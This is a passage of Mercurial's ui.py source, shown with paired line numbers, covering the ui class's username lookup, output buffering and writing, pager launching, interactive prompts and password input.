962 969 - False if HGPLAIN is not set, or feature is in HGPLAINEXCEPT
963 970 - False if feature is disabled by default and not included in HGPLAIN
964 971 - True otherwise
965 972 """
966 973 if (
967 974 b'HGPLAIN' not in encoding.environ
968 975 and b'HGPLAINEXCEPT' not in encoding.environ
969 976 ):
970 977 return False
971 978 exceptions = (
972 979 encoding.environ.get(b'HGPLAINEXCEPT', b'').strip().split(b',')
973 980 )
974 981 # TODO: add support for HGPLAIN=+feature,-feature syntax
975 982 if b'+strictflags' not in encoding.environ.get(b'HGPLAIN', b'').split(
976 983 b','
977 984 ):
978 985 exceptions.append(b'strictflags')
979 986 if feature and exceptions:
980 987 return feature not in exceptions
981 988 return True
982 989
983 990 def username(self, acceptempty=False):
984 991 """Return default username to be used in commits.
985 992
986 993 Searched in this order: $HGUSER, [ui] section of hgrcs, $EMAIL
987 994 and stop searching if one of these is set.
988 995 If not found and acceptempty is True, returns None.
989 996 If not found and ui.askusername is True, ask the user, else use
990 997 ($LOGNAME or $USER or $LNAME or $USERNAME) + "@full.hostname".
991 998 If no username could be found, raise an Abort error.
992 999 """
993 1000 user = encoding.environ.get(b"HGUSER")
994 1001 if user is None:
995 1002 user = self.config(b"ui", b"username")
996 1003 if user is not None:
997 1004 user = os.path.expandvars(user)
998 1005 if user is None:
999 1006 user = encoding.environ.get(b"EMAIL")
1000 1007 if user is None and acceptempty:
1001 1008 return user
1002 1009 if user is None and self.configbool(b"ui", b"askusername"):
1003 1010 user = self.prompt(_(b"enter a commit username:"), default=None)
1004 1011 if user is None and not self.interactive():
1005 1012 try:
1006 1013 user = b'%s@%s' % (
1007 1014 procutil.getuser(),
1008 1015 encoding.strtolocal(socket.getfqdn()),
1009 1016 )
1010 1017 self.warn(_(b"no username found, using '%s' instead\n") % user)
1011 1018 except KeyError:
1012 1019 pass
1013 1020 if not user:
1014 1021 raise error.Abort(
1015 1022 _(b'no username supplied'),
1016 1023 hint=_(b"use 'hg config --edit' " b'to set your username'),
1017 1024 )
1018 1025 if b"\n" in user:
1019 1026 raise error.Abort(
1020 1027 _(b"username %r contains a newline\n") % pycompat.bytestr(user)
1021 1028 )
1022 1029 return user
1023 1030
1024 1031 def shortuser(self, user):
1025 1032 """Return a short representation of a user name or email address."""
1026 1033 if not self.verbose:
1027 1034 user = stringutil.shortuser(user)
1028 1035 return user
1029 1036
1030 1037 def expandpath(self, loc, default=None):
1031 1038 """Return repository location relative to cwd or from [paths]"""
1032 1039 msg = b'ui.expandpath is deprecated, use `get_*` functions from urlutil'
1033 1040 self.deprecwarn(msg, b'6.0')
1034 1041 try:
1035 1042 p = self.getpath(loc)
1036 1043 if p:
1037 1044 return p.rawloc
1038 1045 except error.RepoError:
1039 1046 pass
1040 1047
1041 1048 if default:
1042 1049 try:
1043 1050 p = self.getpath(default)
1044 1051 if p:
1045 1052 return p.rawloc
1046 1053 except error.RepoError:
1047 1054 pass
1048 1055
1049 1056 return loc
1050 1057
1051 1058 @util.propertycache
1052 1059 def paths(self):
1053 1060 return urlutil.paths(self)
1054 1061
1055 1062 def getpath(self, *args, **kwargs):
1056 1063 """see paths.getpath for details
1057 1064
1058 1065 This method exist as `getpath` need a ui for potential warning message.
1059 1066 """
1060 1067 msg = b'ui.getpath is deprecated, use `get_*` functions from urlutil'
1061 1068 self.deprecwarn(msg, '6.0')
1062 1069 return self.paths.getpath(self, *args, **kwargs)
1063 1070
1064 1071 @property
1065 1072 def fout(self):
1066 1073 return self._fout
1067 1074
1068 1075 @fout.setter
1069 1076 def fout(self, f):
1070 1077 self._fout = f
1071 1078 self._fmsgout, self._fmsgerr = _selectmsgdests(self)
1072 1079
1073 1080 @property
1074 1081 def ferr(self):
1075 1082 return self._ferr
1076 1083
1077 1084 @ferr.setter
1078 1085 def ferr(self, f):
1079 1086 self._ferr = f
1080 1087 self._fmsgout, self._fmsgerr = _selectmsgdests(self)
1081 1088
1082 1089 @property
1083 1090 def fin(self):
1084 1091 return self._fin
1085 1092
1086 1093 @fin.setter
1087 1094 def fin(self, f):
1088 1095 self._fin = f
1089 1096
1090 1097 @property
1091 1098 def fmsg(self):
1092 1099 """Stream dedicated for status/error messages; may be None if
1093 1100 fout/ferr are used"""
1094 1101 return self._fmsg
1095 1102
1096 1103 @fmsg.setter
1097 1104 def fmsg(self, f):
1098 1105 self._fmsg = f
1099 1106 self._fmsgout, self._fmsgerr = _selectmsgdests(self)
1100 1107
1101 1108 def pushbuffer(self, error=False, subproc=False, labeled=False):
1102 1109 """install a buffer to capture standard output of the ui object
1103 1110
1104 1111 If error is True, the error output will be captured too.
1105 1112
1106 1113 If subproc is True, output from subprocesses (typically hooks) will be
1107 1114 captured too.
1108 1115
1109 1116 If labeled is True, any labels associated with buffered
1110 1117 output will be handled. By default, this has no effect
1111 1118 on the output returned, but extensions and GUI tools may
1112 1119 handle this argument and returned styled output. If output
1113 1120 is being buffered so it can be captured and parsed or
1114 1121 processed, labeled should not be set to True.
1115 1122 """
1116 1123 self._buffers.append([])
1117 1124 self._bufferstates.append((error, subproc, labeled))
1118 1125 self._bufferapplylabels = labeled
1119 1126
1120 1127 def popbuffer(self):
1121 1128 '''pop the last buffer and return the buffered output'''
1122 1129 self._bufferstates.pop()
1123 1130 if self._bufferstates:
1124 1131 self._bufferapplylabels = self._bufferstates[-1][2]
1125 1132 else:
1126 1133 self._bufferapplylabels = None
1127 1134
1128 1135 return b"".join(self._buffers.pop())
1129 1136
1130 1137 def _isbuffered(self, dest):
1131 1138 if dest is self._fout:
1132 1139 return bool(self._buffers)
1133 1140 if dest is self._ferr:
1134 1141 return bool(self._bufferstates and self._bufferstates[-1][0])
1135 1142 return False
1136 1143
1137 1144 def canwritewithoutlabels(self):
1138 1145 '''check if write skips the label'''
1139 1146 if self._buffers and not self._bufferapplylabels:
1140 1147 return True
1141 1148 return self._colormode is None
1142 1149
1143 1150 def canbatchlabeledwrites(self):
1144 1151 '''check if write calls with labels are batchable'''
1145 1152 # Windows color printing is special, see ``write``.
1146 1153 return self._colormode != b'win32'
1147 1154
1148 1155 def write(self, *args, **opts):
1149 1156 """write args to output
1150 1157
1151 1158 By default, this method simply writes to the buffer or stdout.
1152 1159 Color mode can be set on the UI class to have the output decorated
1153 1160 with color modifier before being written to stdout.
1154 1161
1155 1162 The color used is controlled by an optional keyword argument, "label".
1156 1163 This should be a string containing label names separated by space.
1157 1164 Label names take the form of "topic.type". For example, ui.debug()
1158 1165 issues a label of "ui.debug".
1159 1166
1160 1167 Progress reports via stderr are normally cleared before writing as
1161 1168 stdout and stderr go to the same terminal. This can be skipped with
1162 1169 the optional keyword argument "keepprogressbar". The progress bar
1163 1170 will continue to occupy a partial line on stderr in that case.
1164 1171 This functionality is intended when Mercurial acts as data source
1165 1172 in a pipe.
1166 1173
1167 1174 When labeling output for a specific command, a label of
1168 1175 "cmdname.type" is recommended. For example, status issues
1169 1176 a label of "status.modified" for modified files.
1170 1177 """
1171 1178 dest = self._fout
1172 1179
1173 1180 # inlined _write() for speed
1174 1181 if self._buffers:
1175 1182 label = opts.get('label', b'')
1176 1183 if label and self._bufferapplylabels:
1177 1184 self._buffers[-1].extend(self.label(a, label) for a in args)
1178 1185 else:
1179 1186 self._buffers[-1].extend(args)
1180 1187 return
1181 1188
1182 1189 # inlined _writenobuf() for speed
1183 1190 if not opts.get('keepprogressbar', False):
1184 1191 self._progclear()
1185 1192 msg = b''.join(args)
1186 1193
1187 1194 # opencode timeblockedsection because this is a critical path
1188 1195 starttime = util.timer()
1189 1196 try:
1190 1197 if self._colormode == b'win32':
1191 1198 # windows color printing is its own can of crab, defer to
1192 1199 # the color module and that is it.
1193 1200 color.win32print(self, dest.write, msg, **opts)
1194 1201 else:
1195 1202 if self._colormode is not None:
1196 1203 label = opts.get('label', b'')
1197 1204 msg = self.label(msg, label)
1198 1205 dest.write(msg)
1199 1206 except IOError as err:
1200 1207 raise error.StdioError(err)
1201 1208 finally:
1202 1209 self._blockedtimes[b'stdio_blocked'] += (
1203 1210 util.timer() - starttime
1204 1211 ) * 1000
1205 1212
1206 1213 def write_err(self, *args, **opts):
1207 1214 self._write(self._ferr, *args, **opts)
1208 1215
1209 1216 def _write(self, dest, *args, **opts):
1210 1217 # update write() as well if you touch this code
1211 1218 if self._isbuffered(dest):
1212 1219 label = opts.get('label', b'')
1213 1220 if label and self._bufferapplylabels:
1214 1221 self._buffers[-1].extend(self.label(a, label) for a in args)
1215 1222 else:
1216 1223 self._buffers[-1].extend(args)
1217 1224 else:
1218 1225 self._writenobuf(dest, *args, **opts)
1219 1226
1220 1227 def _writenobuf(self, dest, *args, **opts):
1221 1228 # update write() as well if you touch this code
1222 1229 if not opts.get('keepprogressbar', False):
1223 1230 self._progclear()
1224 1231 msg = b''.join(args)
1225 1232
1226 1233 # opencode timeblockedsection because this is a critical path
1227 1234 starttime = util.timer()
1228 1235 try:
1229 1236 if dest is self._ferr and not getattr(self._fout, 'closed', False):
1230 1237 self._fout.flush()
1231 1238 if getattr(dest, 'structured', False):
1232 1239 # channel for machine-readable output with metadata, where
1233 1240 # no extra colorization is necessary.
1234 1241 dest.write(msg, **opts)
1235 1242 elif self._colormode == b'win32':
1236 1243 # windows color printing is its own can of crab, defer to
1237 1244 # the color module and that is it.
1238 1245 color.win32print(self, dest.write, msg, **opts)
1239 1246 else:
1240 1247 if self._colormode is not None:
1241 1248 label = opts.get('label', b'')
1242 1249 msg = self.label(msg, label)
1243 1250 dest.write(msg)
1244 1251 # stderr may be buffered under win32 when redirected to files,
1245 1252 # including stdout.
1246 1253 if dest is self._ferr and not getattr(dest, 'closed', False):
1247 1254 dest.flush()
1248 1255 except IOError as err:
1249 1256 if dest is self._ferr and err.errno in (
1250 1257 errno.EPIPE,
1251 1258 errno.EIO,
1252 1259 errno.EBADF,
1253 1260 ):
1254 1261 # no way to report the error, so ignore it
1255 1262 return
1256 1263 raise error.StdioError(err)
1257 1264 finally:
1258 1265 self._blockedtimes[b'stdio_blocked'] += (
1259 1266 util.timer() - starttime
1260 1267 ) * 1000
1261 1268
1262 1269 def _writemsg(self, dest, *args, **opts):
1263 1270 timestamp = self.showtimestamp and opts.get('type') in {
1264 1271 b'debug',
1265 1272 b'error',
1266 1273 b'note',
1267 1274 b'status',
1268 1275 b'warning',
1269 1276 }
1270 1277 if timestamp:
1271 1278 args = (
1272 1279 b'[%s] '
1273 1280 % pycompat.bytestr(datetime.datetime.now().isoformat()),
1274 1281 ) + args
1275 1282 _writemsgwith(self._write, dest, *args, **opts)
1276 1283 if timestamp:
1277 1284 dest.flush()
1278 1285
1279 1286 def _writemsgnobuf(self, dest, *args, **opts):
1280 1287 _writemsgwith(self._writenobuf, dest, *args, **opts)
1281 1288
1282 1289 def flush(self):
1283 1290 # opencode timeblockedsection because this is a critical path
1284 1291 starttime = util.timer()
1285 1292 try:
1286 1293 try:
1287 1294 self._fout.flush()
1288 1295 except IOError as err:
1289 1296 if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
1290 1297 raise error.StdioError(err)
1291 1298 finally:
1292 1299 try:
1293 1300 self._ferr.flush()
1294 1301 except IOError as err:
1295 1302 if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
1296 1303 raise error.StdioError(err)
1297 1304 finally:
1298 1305 self._blockedtimes[b'stdio_blocked'] += (
1299 1306 util.timer() - starttime
1300 1307 ) * 1000
1301 1308
1302 1309 def _isatty(self, fh):
1303 1310 if self.configbool(b'ui', b'nontty'):
1304 1311 return False
1305 1312 return procutil.isatty(fh)
1306 1313
1307 1314 def protectfinout(self):
1308 1315 """Duplicate ui streams and redirect original if they are stdio
1309 1316
1310 1317 Returns (fin, fout) which point to the original ui fds, but may be
1311 1318 copy of them. The returned streams can be considered "owned" in that
1312 1319 print(), exec(), etc. never reach to them.
1313 1320 """
1314 1321 if self._finoutredirected:
1315 1322 # if already redirected, protectstdio() would just create another
1316 1323 # nullfd pair, which is equivalent to returning self._fin/_fout.
1317 1324 return self._fin, self._fout
1318 1325 fin, fout = procutil.protectstdio(self._fin, self._fout)
1319 1326 self._finoutredirected = (fin, fout) != (self._fin, self._fout)
1320 1327 return fin, fout
1321 1328
1322 1329 def restorefinout(self, fin, fout):
1323 1330 """Restore ui streams from possibly duplicated (fin, fout)"""
1324 1331 if (fin, fout) == (self._fin, self._fout):
1325 1332 return
1326 1333 procutil.restorestdio(self._fin, self._fout, fin, fout)
1327 1334 # protectfinout() won't create more than one duplicated streams,
1328 1335 # so we can just turn the redirection flag off.
1329 1336 self._finoutredirected = False
1330 1337
1331 1338 @contextlib.contextmanager
1332 1339 def protectedfinout(self):
1333 1340 """Run code block with protected standard streams"""
1334 1341 fin, fout = self.protectfinout()
1335 1342 try:
1336 1343 yield fin, fout
1337 1344 finally:
1338 1345 self.restorefinout(fin, fout)
1339 1346
1340 1347 def disablepager(self):
1341 1348 self._disablepager = True
1342 1349
1343 1350 def pager(self, command):
1344 1351 """Start a pager for subsequent command output.
1345 1352
1346 1353 Commands which produce a long stream of output should call
1347 1354 this function to activate the user's preferred pagination
1348 1355 mechanism (which may be no pager). Calling this function
1349 1356 precludes any future use of interactive functionality, such as
1350 1357 prompting the user or activating curses.
1351 1358
1352 1359 Args:
1353 1360 command: The full, non-aliased name of the command. That is, "log"
1354 1361 not "history, "summary" not "summ", etc.
1355 1362 """
1356 1363 if self._disablepager or self.pageractive:
1357 1364 # how pager should do is already determined
1358 1365 return
1359 1366
1360 1367 if not command.startswith(b'internal-always-') and (
1361 1368 # explicit --pager=on (= 'internal-always-' prefix) should
1362 1369 # take precedence over disabling factors below
1363 1370 command in self.configlist(b'pager', b'ignore')
1364 1371 or not self.configbool(b'ui', b'paginate')
1365 1372 or not self.configbool(b'pager', b'attend-' + command, True)
1366 1373 or encoding.environ.get(b'TERM') == b'dumb'
1367 1374 # TODO: if we want to allow HGPLAINEXCEPT=pager,
1368 1375 # formatted() will need some adjustment.
1369 1376 or not self.formatted()
1370 1377 or self.plain()
1371 1378 or self._buffers
1372 1379 # TODO: expose debugger-enabled on the UI object
1373 1380 or b'--debugger' in pycompat.sysargv
1374 1381 ):
1375 1382 # We only want to paginate if the ui appears to be
1376 1383 # interactive, the user didn't say HGPLAIN or
1377 1384 # HGPLAINEXCEPT=pager, and the user didn't specify --debug.
1378 1385 return
1379 1386
1380 1387 pagercmd = self.config(b'pager', b'pager', rcutil.fallbackpager)
1381 1388 if not pagercmd:
1382 1389 return
1383 1390
1384 1391 pagerenv = {}
1385 1392 for name, value in rcutil.defaultpagerenv().items():
1386 1393 if name not in encoding.environ:
1387 1394 pagerenv[name] = value
1388 1395
1389 1396 self.debug(
1390 1397 b'starting pager for command %s\n' % stringutil.pprint(command)
1391 1398 )
1392 1399 self.flush()
1393 1400
1394 1401 wasformatted = self.formatted()
1395 1402 if util.safehasattr(signal, b"SIGPIPE"):
1396 1403 signal.signal(signal.SIGPIPE, _catchterm)
1397 1404 if self._runpager(pagercmd, pagerenv):
1398 1405 self.pageractive = True
1399 1406 # Preserve the formatted-ness of the UI. This is important
1400 1407 # because we mess with stdout, which might confuse
1401 1408 # auto-detection of things being formatted.
1402 1409 self.setconfig(b'ui', b'formatted', wasformatted, b'pager')
1403 1410 self.setconfig(b'ui', b'interactive', False, b'pager')
1404 1411
1405 1412 # If pagermode differs from color.mode, reconfigure color now that
1406 1413 # pageractive is set.
1407 1414 cm = self._colormode
1408 1415 if cm != self.config(b'color', b'pagermode', cm):
1409 1416 color.setup(self)
1410 1417 else:
1411 1418 # If the pager can't be spawned in dispatch when --pager=on is
1412 1419 # given, don't try again when the command runs, to avoid a duplicate
1413 1420 # warning about a missing pager command.
1414 1421 self.disablepager()
1415 1422
1416 1423 def _runpager(self, command, env=None):
1417 1424 """Actually start the pager and set up file descriptors.
1418 1425
1419 1426 This is separate in part so that extensions (like chg) can
1420 1427 override how a pager is invoked.
1421 1428 """
1422 1429 if command == b'cat':
1423 1430 # Save ourselves some work.
1424 1431 return False
1425 1432 # If the command doesn't contain any of these characters, we
1426 1433 # assume it's a binary and exec it directly. This means for
1427 1434 # simple pager command configurations, we can degrade
1428 1435 # gracefully and tell the user about their broken pager.
1429 1436 shell = any(c in command for c in b"|&;<>()$`\\\"' \t\n*?[#~=%")
1430 1437
1431 1438 if pycompat.iswindows and not shell:
1432 1439 # Window's built-in `more` cannot be invoked with shell=False, but
1433 1440 # its `more.com` can. Hide this implementation detail from the
1434 1441 # user so we can also get sane bad PAGER behavior. MSYS has
1435 1442 # `more.exe`, so do a cmd.exe style resolution of the executable to
1436 1443 # determine which one to use.
1437 1444 fullcmd = procutil.findexe(command)
1438 1445 if not fullcmd:
1439 1446 self.warn(
1440 1447 _(b"missing pager command '%s', skipping pager\n") % command
1441 1448 )
1442 1449 return False
1443 1450
1444 1451 command = fullcmd
1445 1452
1446 1453 try:
1447 1454 pager = subprocess.Popen(
1448 1455 procutil.tonativestr(command),
1449 1456 shell=shell,
1450 1457 bufsize=-1,
1451 1458 close_fds=procutil.closefds,
1452 1459 stdin=subprocess.PIPE,
1453 1460 stdout=procutil.stdout,
1454 1461 stderr=procutil.stderr,
1455 1462 env=procutil.tonativeenv(procutil.shellenviron(env)),
1456 1463 )
1457 1464 except OSError as e:
1458 1465 if e.errno == errno.ENOENT and not shell:
1459 1466 self.warn(
1460 1467 _(b"missing pager command '%s', skipping pager\n") % command
1461 1468 )
1462 1469 return False
1463 1470 raise
1464 1471
1465 1472 # back up original file descriptors
1466 1473 stdoutfd = os.dup(procutil.stdout.fileno())
1467 1474 stderrfd = os.dup(procutil.stderr.fileno())
1468 1475
1469 1476 os.dup2(pager.stdin.fileno(), procutil.stdout.fileno())
1470 1477 if self._isatty(procutil.stderr):
1471 1478 os.dup2(pager.stdin.fileno(), procutil.stderr.fileno())
1472 1479
1473 1480 @self.atexit
1474 1481 def killpager():
1475 1482 if util.safehasattr(signal, b"SIGINT"):
1476 1483 signal.signal(signal.SIGINT, signal.SIG_IGN)
1477 1484 # restore original fds, closing pager.stdin copies in the process
1478 1485 os.dup2(stdoutfd, procutil.stdout.fileno())
1479 1486 os.dup2(stderrfd, procutil.stderr.fileno())
1480 1487 pager.stdin.close()
1481 1488 pager.wait()
1482 1489
1483 1490 return True
1484 1491
1485 1492 @property
1486 1493 def _exithandlers(self):
1487 1494 return _reqexithandlers
1488 1495
1489 1496 def atexit(self, func, *args, **kwargs):
1490 1497 """register a function to run after dispatching a request
1491 1498
1492 1499 Handlers do not stay registered across request boundaries."""
1493 1500 self._exithandlers.append((func, args, kwargs))
1494 1501 return func
1495 1502
1496 1503 def interface(self, feature):
1497 1504 """what interface to use for interactive console features?
1498 1505
1499 1506 The interface is controlled by the value of `ui.interface` but also by
1500 1507 the value of feature-specific configuration. For example:
1501 1508
1502 1509 ui.interface.histedit = text
1503 1510 ui.interface.chunkselector = curses
1504 1511
1505 1512 Here the features are "histedit" and "chunkselector".
1506 1513
1507 1514 The configuration above means that the default interfaces for commands
1508 1515 is curses, the interface for histedit is text and the interface for
1509 1516 selecting chunk is crecord (the best curses interface available).
1510 1517
1511 1518 Consider the following example:
1512 1519 ui.interface = curses
1513 1520 ui.interface.histedit = text
1514 1521
1515 1522 Then histedit will use the text interface and chunkselector will use
1516 1523 the default curses interface (crecord at the moment).
1517 1524 """
1518 1525 alldefaults = frozenset([b"text", b"curses"])
1519 1526
1520 1527 featureinterfaces = {
1521 1528 b"chunkselector": [
1522 1529 b"text",
1523 1530 b"curses",
1524 1531 ],
1525 1532 b"histedit": [
1526 1533 b"text",
1527 1534 b"curses",
1528 1535 ],
1529 1536 }
1530 1537
1531 1538 # Feature-specific interface
1532 1539 if feature not in featureinterfaces.keys():
1533 1540 # Programming error, not user error
1534 1541 raise ValueError(b"Unknown feature requested %s" % feature)
1535 1542
1536 1543 availableinterfaces = frozenset(featureinterfaces[feature])
1537 1544 if alldefaults > availableinterfaces:
1538 1545 # Programming error, not user error. We need a use case to
1539 1546 # define the right thing to do here.
1540 1547 raise ValueError(
1541 1548 b"Feature %s does not handle all default interfaces" % feature
1542 1549 )
1543 1550
1544 1551 if self.plain() or encoding.environ.get(b'TERM') == b'dumb':
1545 1552 return b"text"
1546 1553
1547 1554 # Default interface for all the features
1548 1555 defaultinterface = b"text"
1549 1556 i = self.config(b"ui", b"interface")
1550 1557 if i in alldefaults:
1551 1558 defaultinterface = i
1552 1559
1553 1560 choseninterface = defaultinterface
1554 1561 f = self.config(b"ui", b"interface.%s" % feature)
1555 1562 if f in availableinterfaces:
1556 1563 choseninterface = f
1557 1564
1558 1565 if i is not None and defaultinterface != i:
1559 1566 if f is not None:
1560 1567 self.warn(_(b"invalid value for ui.interface: %s\n") % (i,))
1561 1568 else:
1562 1569 self.warn(
1563 1570 _(b"invalid value for ui.interface: %s (using %s)\n")
1564 1571 % (i, choseninterface)
1565 1572 )
1566 1573 if f is not None and choseninterface != f:
1567 1574 self.warn(
1568 1575 _(b"invalid value for ui.interface.%s: %s (using %s)\n")
1569 1576 % (feature, f, choseninterface)
1570 1577 )
1571 1578
1572 1579 return choseninterface
1573 1580
1574 1581 def interactive(self):
1575 1582 """is interactive input allowed?
1576 1583
1577 1584 An interactive session is a session where input can be reasonably read
1578 1585 from `sys.stdin'. If this function returns false, any attempt to read
1579 1586 from stdin should fail with an error, unless a sensible default has been
1580 1587 specified.
1581 1588
1582 1589 Interactiveness is triggered by the value of the `ui.interactive'
1583 1590 configuration variable or - if it is unset - when `sys.stdin' points
1584 1591 to a terminal device.
1585 1592
1586 1593 This function refers to input only; for output, see `ui.formatted()'.
1587 1594 """
1588 1595 i = self.configbool(b"ui", b"interactive")
1589 1596 if i is None:
1590 1597 # some environments replace stdin without implementing isatty
1591 1598 # usually those are non-interactive
1592 1599 return self._isatty(self._fin)
1593 1600
1594 1601 return i
1595 1602
1596 1603 def termwidth(self):
1597 1604 """how wide is the terminal in columns?"""
1598 1605 if b'COLUMNS' in encoding.environ:
1599 1606 try:
1600 1607 return int(encoding.environ[b'COLUMNS'])
1601 1608 except ValueError:
1602 1609 pass
1603 1610 return scmutil.termsize(self)[0]
1604 1611
1605 1612 def formatted(self):
1606 1613 """should formatted output be used?
1607 1614
1608 1615 It is often desirable to format the output to suite the output medium.
1609 1616 Examples of this are truncating long lines or colorizing messages.
1610 1617 However, this is not often not desirable when piping output into other
1611 1618 utilities, e.g. `grep'.
1612 1619
1613 1620 Formatted output is triggered by the value of the `ui.formatted'
1614 1621 configuration variable or - if it is unset - when `sys.stdout' points
1615 1622 to a terminal device. Please note that `ui.formatted' should be
1616 1623 considered an implementation detail; it is not intended for use outside
1617 1624 Mercurial or its extensions.
1618 1625
1619 1626 This function refers to output only; for input, see `ui.interactive()'.
1620 1627 This function always returns false when in plain mode, see `ui.plain()'.
1621 1628 """
1622 1629 if self.plain():
1623 1630 return False
1624 1631
1625 1632 i = self.configbool(b"ui", b"formatted")
1626 1633 if i is None:
1627 1634 # some environments replace stdout without implementing isatty
1628 1635 # usually those are non-interactive
1629 1636 return self._isatty(self._fout)
1630 1637
1631 1638 return i
1632 1639
1633 1640 def _readline(self, prompt=b' ', promptopts=None):
1634 1641 # Replacing stdin/stdout temporarily is a hard problem on Python 3
1635 1642 # because they have to be text streams with *no buffering*. Instead,
1636 1643 # we use rawinput() only if call_readline() will be invoked by
1637 1644 # PyOS_Readline(), so no I/O will be made at Python layer.
1638 1645 usereadline = (
1639 1646 self._isatty(self._fin)
1640 1647 and self._isatty(self._fout)
1641 1648 and procutil.isstdin(self._fin)
1642 1649 and procutil.isstdout(self._fout)
1643 1650 )
1644 1651 if usereadline:
1645 1652 try:
1646 1653 # magically add command line editing support, where
1647 1654 # available
1648 1655 import readline
1649 1656
1650 1657 # force demandimport to really load the module
1651 1658 readline.read_history_file
1652 1659 # windows sometimes raises something other than ImportError
1653 1660 except Exception:
1654 1661 usereadline = False
1655 1662
1656 1663 if self._colormode == b'win32' or not usereadline:
1657 1664 if not promptopts:
1658 1665 promptopts = {}
1659 1666 self._writemsgnobuf(
1660 1667 self._fmsgout, prompt, type=b'prompt', **promptopts
1661 1668 )
1662 1669 self.flush()
1663 1670 prompt = b' '
1664 1671 else:
1665 1672 prompt = self.label(prompt, b'ui.prompt') + b' '
1666 1673
1667 1674 # prompt ' ' must exist; otherwise readline may delete entire line
1668 1675 # - http://bugs.python.org/issue12833
1669 1676 with self.timeblockedsection(b'stdio'):
1670 1677 if usereadline:
1671 1678 self.flush()
1672 1679 prompt = encoding.strfromlocal(prompt)
1673 1680 line = encoding.strtolocal(pycompat.rawinput(prompt))
1674 1681 # When stdin is in binary mode on Windows, it can cause
1675 1682 # raw_input() to emit an extra trailing carriage return
1676 1683 if pycompat.oslinesep == b'\r\n' and line.endswith(b'\r'):
1677 1684 line = line[:-1]
1678 1685 else:
1679 1686 self._fout.write(pycompat.bytestr(prompt))
1680 1687 self._fout.flush()
1681 1688 line = self._fin.readline()
1682 1689 if not line:
1683 1690 raise EOFError
1684 1691 line = line.rstrip(pycompat.oslinesep)
1685 1692
1686 1693 return line
1687 1694
1688 1695 def prompt(self, msg, default=b"y"):
1689 1696 """Prompt user with msg, read response.
1690 1697 If ui is not interactive, the default is returned.
1691 1698 """
1692 1699 return self._prompt(msg, default=default)
1693 1700
1694 1701 def _prompt(self, msg, **opts):
1695 1702 default = opts['default']
1696 1703 if not self.interactive():
1697 1704 self._writemsg(self._fmsgout, msg, b' ', type=b'prompt', **opts)
1698 1705 self._writemsg(
1699 1706 self._fmsgout, default or b'', b"\n", type=b'promptecho'
1700 1707 )
1701 1708 return default
1702 1709 try:
1703 1710 r = self._readline(prompt=msg, promptopts=opts)
1704 1711 if not r:
1705 1712 r = default
1706 1713 if self.configbool(b'ui', b'promptecho'):
1707 1714 self._writemsg(
1708 1715 self._fmsgout, r or b'', b"\n", type=b'promptecho'
1709 1716 )
1710 1717 return r
1711 1718 except EOFError:
1712 1719 raise error.ResponseExpected()
1713 1720
1714 1721 @staticmethod
1715 1722 def extractchoices(prompt):
1716 1723 """Extract prompt message and list of choices from specified prompt.
1717 1724
1718 1725 This returns tuple "(message, choices)", and "choices" is the
1719 1726 list of tuple "(response character, text without &)".
1720 1727
1721 1728 >>> ui.extractchoices(b"awake? $$ &Yes $$ &No")
1722 1729 ('awake? ', [('y', 'Yes'), ('n', 'No')])
1723 1730 >>> ui.extractchoices(b"line\\nbreak? $$ &Yes $$ &No")
1724 1731 ('line\\nbreak? ', [('y', 'Yes'), ('n', 'No')])
1725 1732 >>> ui.extractchoices(b"want lots of $$money$$?$$Ye&s$$N&o")
1726 1733 ('want lots of $$money$$?', [('s', 'Yes'), ('o', 'No')])
1727 1734 """
1728 1735
1729 1736 # Sadly, the prompt string may have been built with a filename
1730 1737 # containing "$$" so let's try to find the first valid-looking
1731 1738 # prompt to start parsing. Sadly, we also can't rely on
1732 1739 # choices containing spaces, ASCII, or basically anything
1733 1740 # except an ampersand followed by a character.
1734 1741 m = re.match(br'(?s)(.+?)\$\$([^$]*&[^ $].*)', prompt)
1735 1742 msg = m.group(1)
1736 1743 choices = [p.strip(b' ') for p in m.group(2).split(b'$$')]
1737 1744
1738 1745 def choicetuple(s):
1739 1746 ampidx = s.index(b'&')
1740 1747 return s[ampidx + 1 : ampidx + 2].lower(), s.replace(b'&', b'', 1)
1741 1748
1742 1749 return (msg, [choicetuple(s) for s in choices])
1743 1750
1744 1751 def promptchoice(self, prompt, default=0):
1745 1752 """Prompt user with a message, read response, and ensure it matches
1746 1753 one of the provided choices. The prompt is formatted as follows:
1747 1754
1748 1755 "would you like fries with that (Yn)? $$ &Yes $$ &No"
1749 1756
1750 1757 The index of the choice is returned. Responses are case
1751 1758 insensitive. If ui is not interactive, the default is
1752 1759 returned.
1753 1760 """
1754 1761
1755 1762 msg, choices = self.extractchoices(prompt)
1756 1763 resps = [r for r, t in choices]
1757 1764 while True:
1758 1765 r = self._prompt(msg, default=resps[default], choices=choices)
1759 1766 if r.lower() in resps:
1760 1767 return resps.index(r.lower())
1761 1768 # TODO: shouldn't it be a warning?
1762 1769 self._writemsg(self._fmsgout, _(b"unrecognized response\n"))
1763 1770
1764 1771 def getpass(self, prompt=None, default=None):
1765 1772 if not self.interactive():
1766 1773 return default
1767 1774 try:
1768 1775 self._writemsg(
1769 1776 self._fmsgerr,
1770 1777 prompt or _(b'password: '),
1771 1778 type=b'prompt',
1772 1779 password=True,
1773 1780 )
1774 1781 # disable getpass() only if explicitly specified. it's still valid
1775 1782 # to interact with tty even if fin is not a tty.
1776 1783 with self.timeblockedsection(b'stdio'):
1777 1784 if self.configbool(b'ui', b'nontty'):
1778 1785 l = self._fin.readline()
1779 1786 if not l:
1780 1787 raise EOFError
1781 1788 return l.rstrip(b'\n')
1782 1789 else:
1783 1790 return util.get_password()
1784 1791 except EOFError:
1785 1792 raise error.ResponseExpected()
1786 1793
1787 1794 def status(self, *msg, **opts):
1788 1795 """write status message to output (if ui.quiet is False)
1789 1796
1790 1797 This adds an output label of "ui.status".
1791 1798 """
1792 1799 if not self.quiet:
1793 1800 self._writemsg(self._fmsgout, type=b'status', *msg, **opts)
1794 1801
1795 1802 def warn(self, *msg, **opts):
1796 1803 """write warning message to output (stderr)
1797 1804
1798 1805 This adds an output label of "ui.warning".
1799 1806 """
1800 1807 self._writemsg(self._fmsgerr, type=b'warning', *msg, **opts)
1801 1808
1802 1809 def error(self, *msg, **opts):
1803 1810 """write error message to output (stderr)
1804 1811
1805 1812 This adds an output label of "ui.error".
1806 1813 """
1807 1814 self._writemsg(self._fmsgerr, type=b'error', *msg, **opts)
1808 1815
1809 1816 def note(self, *msg, **opts):
1810 1817 """write note to output (if ui.verbose is True)
1811 1818
1812 1819 This adds an output label of "ui.note".
